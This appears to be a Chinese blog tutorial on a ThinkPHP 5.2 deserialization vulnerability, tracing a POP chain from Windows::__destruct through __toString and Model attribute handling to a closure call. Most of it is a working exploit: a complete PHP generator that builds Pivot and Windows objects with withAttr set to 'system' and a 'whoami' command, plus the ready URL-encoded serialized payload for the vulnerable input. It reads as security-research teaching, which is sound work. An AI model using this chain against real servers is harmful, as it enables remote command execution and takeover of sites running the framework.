thinkphp5.2反序列化

thinkphp思路:

复制代码
1、确认thinkphp版本
2、查找入口点
3、输入点分析
4、敏感函数定位
5、pop链构造
6、利用与验证

以下事例主要以thinkphp5.2为例:

1、确认thinkphp版本

方法一:网页版本直接确认

方法二: 在composer.lock文件下查看

2、查找入口点(进入某个功能模块的"入口路径)

我是通过全局查找public function index发现的,入口点是/index/index

3、输入点分析

在上述图片中可判定输入点是input,并且并没有对input有限制,这一点很危险,并且对input传入的值直接进行了反序列化。

4、敏感函数定位

方法一:数据流追踪思路(看方法下面还有没有跟方法,有继续跟,没有则切换)

方法二:从 sink 往回追(找到危险函数,然后一步步往上看可控点)

重点查找__destruct() __wakeup() __toString() __call()看這些魔术方法,或者查找一些危险函数比如system() unlink() eval() file_put_contents()之类的。

我是在查找__destruct的时候,发现这个下面有removeFiles()这个方法,继续跟进

发现他调用了一个判断file_exists()的方法,通过查找官方文档得知,这个方法会调用一个echo,因此会使用到__tostring方法,因此跟进(这里将files的值赋给了filename,且files的类型是数组)

__toString()又調用了toJson()继续跟进

它里面调用了toArray()跟进

跟进toArray()则发现getAttr()继续

跟进发现getData()getValue()$namegetAttr($key)中key的值,又在getData中将name的值给$value

继续跟进getData()发现getRealFieldName()和array_key_exists(),其中array_key_exists()是数组中是否中存在指定键名(getData()中输出了value的值)

跟进发现里面是判断严格模式开关是否开启,开启则true,因此这里是原名输出

回到getAttr()跟进getValue()(其中name value在getData()中被赋值)跟进

跟进到getValue()发现触发点$value = $closure($value, $this->data);并且根据上述分析,发现$value、this->$data、$closure都是可控的,因此可以构造类似system(whoami,[])之类的,即使第二个参数为空也可以执行

$value的值是由getData()最终返回的值

$closure的是值是由withAttr数组中取出来的

this->$data的值是由模型属性控制的

5、pop链构造

__destruct ----> removeFiles() ---> file_exists() ---> __toString() ---> toJson() ---> toArray() ---> getAttr() ---> getValue

其次找出里面所使用过的变量之后开始写payload:

php 复制代码
<?
namespace think\process\pipes {
    class Windows{
        private $files = [];
        function __construct($files)
        {
            $this->files = $files;
        }
    }
}

namespace think\model\concern {
    trait Conversion{
        protected $visible;
    }

    trait RelationShip{
        private $relation;
    }

    trait Attribute{
        private $withAttr;
        private $data;
    }
}

namespace think {
    abstract class Model{
        use model\concern\RelationShip;
        use model\concern\Conversion;
        use model\concern\Attribute;

        function __construct($closure)
        {
            $this->data = $closure;
            $this->relation = [];
            $this->visible= [];
            $this->withAttr = array("paper"=>'system');
        }
    }
}

namespace think\model {
    class Pivot extends \think\Model{
        function __construct($closure)
        {
            parent::__construct($closure);
        }
    }
}
namespace{
    $pivot = new think\model\Pivot(['paper'=>'whoami']);
    $windows = new think\process\pipes\Windows([$pivot]);
    echo urlencode(serialize($windows));
}
?>

6、利用与验证

urlencode之后的序列化编码:

O%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A1%3A%7Bs%3A34%3A%22%00think%5Cprocess%5Cpipes%5CWindows%00files%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A4%3A%7Bs%3A21%3A%22%00think%5CModel%00relation%22%3Ba%3A0%3A%7B%7Ds%3A10%3A%22%00%2A%00visible%22%3Ba%3A0%3A%7B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A5%3A%22paper%22%3Bs%3A6%3A%22system%22%3B%7Ds%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A5%3A%22paper%22%3Bs%3A6%3A%22whoami%22%3B%7D%7D%7D%7D

随后在给input传入

相关推荐
两个人的幸福9 小时前
Windows 桌面应用自研 PHP 队列(下):完整代码与六大工程化优化
php
BingoGo3 天前
PHP 泛型之殇 泛型 RFC 提案被拒绝
后端·php
JaguarJack3 天前
PHP 泛型之殇 泛型 RFC 提案被拒绝
后端·php
用户3074596982073 天前
PHP 扩展——从入门到理解
php
鹏仔先生4 天前
拷贝漫画APP下载页PHP程序,后台带免费AI写作
php
云水一下4 天前
从零开始学 PHP 系列(一):PHP 的前世今生与开发环境搭建
开发语言·php
xingpanvip4 天前
星盘接口开发文档:本命盘接口指南
android·开发语言·css·php·lua
零零信安4 天前
零零信安荣登数世咨询《新质·数字安全专精百强(2026)》暗网情报领域,彰显专业实力与创新引领
安全·网络安全·数据泄露·暗网·零零信安
憧憬成为web高手4 天前
l33t-hoster
学习·web安全·网络安全
HackTwoHub4 天前
Sqli-Scanner SQL注入SKILL自动化挖掘SQL注入,零依赖自动化SQL注入挖掘,赏金猎人
数据库·人工智能·sql·web安全·网络安全·自动化·系统安全